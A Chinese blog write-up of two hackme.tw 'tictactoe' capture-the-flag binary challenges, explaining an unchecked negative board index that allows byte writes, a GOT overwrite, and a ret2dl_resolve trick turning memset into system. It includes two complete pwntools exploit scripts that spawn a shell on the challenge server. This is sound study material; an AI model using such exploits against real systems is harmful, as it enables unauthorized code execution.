hackme.tw tictactoe1 2

idea

保护是这样子的,程序的逻辑很多,直接本地运行一下发现是棋类游戏。

1
2
3
4
5
6
7
carlstar@ubuntu:~/Desktop$ checksec tictactoe 
[*] '/home/carlstar/Desktop/tictactoe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞点在这里,在读落子的位置时没有校验输入的范围,可以输入负数,又把我们输入 1 字节的内容赋值给 v1 + 0x804B056 。

1
2
3
4
5
6
7
8
9
int sub_804871C()
{
char buf; // [esp+Ch] [ebp-4Ch]
unsigned int v2; // [esp+4Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
read(0, &buf, 0x40u);
return atoi(&buf);
}

来看一下 got 表的地址,这样就可以修改 got 表的后两字节为打印 flag 的地址。看看函数后面有什么可用的函数,发现在 main 函数最后有一个 memset(&dword_804B048, 0, 0x18u); 那就把 print function 覆盖过去吧。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

t = remote('hackme.inndy.tw', 7714)
t.sendlineafter('nd? ', '1')
t.sendlineafter('): ', '9')
t.sendline(chr(0x46))
t.sendlineafter('): ', '-34')
t.sendlineafter('): ', '9')
t.sendline(chr(0x8c))
t.sendlineafter('): ', '-33')
t.sendline('ls')
t.interactive()

hackme 上面的 tictactoe 的第二道,要求 getshell。之前没学过 ret2dl_resolve,然后这次国赛的 baby_stack 又是一道很标准的 ret2dl_resolv,是时候入坑学习一波。这篇先写利用思路和过程,下次这个专题另开一篇文章。

idea

逻辑和漏洞点都是一样,其实最后这个 memset 的调用使题目难度降低了不少,system 的参数直接写在dword_804B048 这个地址就行了。然后国赛那道可以和这道做个对比。

ret2dl_resolv 有两种方法,这道题可以用比较简单的。利用条件是在 checksec 时如果 No RELRO ,证明 .dynamic可写,还有就是我们 hijack 的函数必须是第一次调用,因为只有第一次才会resolve。因为ret2dl-resolve会从.dynamic里面拿.dynstr字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。

查看 DT_STRTAB 地址

1
readelf -S tictactoe  | grep STRTAB

memset 位置 0x804833c

system位置 0x804a00c

那么我们把 DT_STRTAB 的地址修改为 0x804a00c - (0x804833c - 0x080482f8) = 0x08049FC8 即可在第一次解析时,把 memset 绑定为 system。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(log_level = "debug")

t = remote('192.168.5.161', 9991)
t.sendlineafter('(2)nd? ', '1')



def w(addr, value):
addr = int(addr,16) - 0x804B056
t.sendlineafter('r): ', '9')
t.sendline(value)
t.sendlineafter('r): ', str(addr))

raw_input()

w('0x804B048','\x00')
w('0x804B048','\x24')
w('0x0804AF58','\xC8')
w('0x804B049','\x30')
w('0x0804AF59','\x9F')
w('0x804B04a','\x00')
w('0x804B060','\x00')
w('0x804B160','\x00')
w('0x804B260','\x00')

t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/04/26/tictactoe/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo
打赏
  • 微信
  • 支付寶